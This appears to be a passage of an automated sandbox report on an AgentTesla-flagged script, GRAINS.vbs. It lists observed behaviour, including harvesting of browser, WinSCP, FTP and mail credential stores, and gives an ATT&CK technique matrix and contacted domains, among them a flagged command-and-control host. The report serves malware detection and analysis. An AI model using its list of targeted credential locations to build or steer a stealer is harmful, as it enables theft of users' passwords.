Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 4.2.GRAINS.vbs.exe.6350180.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Xml.vbs.exe.97dddc8.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Xml.vbs.exe.97dddc8.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.GRAINS.vbs.exe.6350180.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1671358982.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1671199854.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1515150880.0000000005576000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2743831329.0000000002E01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1671199854.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1664884538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1530981472.0000000006350000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GRAINS.vbs.exe PID: 6872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xml.vbs.exe PID: 4884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3776, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 4.2.GRAINS.vbs.exe.6350180.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Xml.vbs.exe.97dddc8.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Xml.vbs.exe.97dddc8.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.GRAINS.vbs.exe.6350180.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1671358982.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1515150880.0000000005576000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1671199854.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1664884538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1530981472.0000000006350000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GRAINS.vbs.exe PID: 6872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xml.vbs.exe PID: 4884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3776, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 4.2.GRAINS.vbs.exe.6350180.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Xml.vbs.exe.97dddc8.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Xml.vbs.exe.97dddc8.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.GRAINS.vbs.exe.6350180.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1671358982.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1671199854.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1515150880.0000000005576000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2743831329.0000000002E01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1671199854.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1664884538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1530981472.0000000006350000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GRAINS.vbs.exe PID: 6872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xml.vbs.exe PID: 4884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3776, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	221 Windows Management Instrumentation	121 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	3 Obfuscated Files or Information	1 Credentials in Registry	421 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	11 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	151 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GRAINS.vbs	11%	ReversingLabs	Script-WScript.Trojan.Heuristic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Xml.vbs.exe	0%	ReversingLabs
C:\Users\user\Desktop\GRAINS.vbs.exe	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://nffplp.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ip-api.com	208.95.112.1	true	false		high
nffplp.com	163.44.198.71	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crt.sectigo.com/SectigoPublicServerAuthenticationRootE46.p7c0#	InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FA9000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nffplp.com	InstallUtil.exe, 00000006.00000002.1671199854.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	GRAINS.vbs.exe, 00000004.00000002.1530981472.00000000060E9000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1703743965.0000000005769000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1515150880.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004A28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.dyn.com/	GRAINS.vbs.exe, 00000004.00000002.1515150880.0000000005576000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1530981472.0000000006350000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1664884538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.0000000009672000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FDE000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FA9000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004853000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004853000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	Xml.vbs.exe, 0000000C.00000002.1703743965.0000000005769000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	Xml.vbs.exe, 0000000C.00000002.1703743965.0000000005769000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://crt.sectigo.com/cPanelECCDomainValidationSecureServerCA3.crt0#	InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FA9000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicServerAuthenticationRd	InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004853000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicServerAuthenticationRootE46.crl0	InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FA9000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://crl.micro	Xml.vbs.exe, 0000000C.00000002.1739943824.0000000006FCF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	GRAINS.vbs.exe, 00000004.00000002.1515150880.0000000005081000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004701000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://contoso.com/	Xml.vbs.exe, 0000000C.00000002.1703743965.0000000005769000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	GRAINS.vbs.exe, 00000004.00000002.1530981472.00000000060E9000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1703743965.0000000005769000.00000004.00000800.00020000.00000000.sdmp	false		high
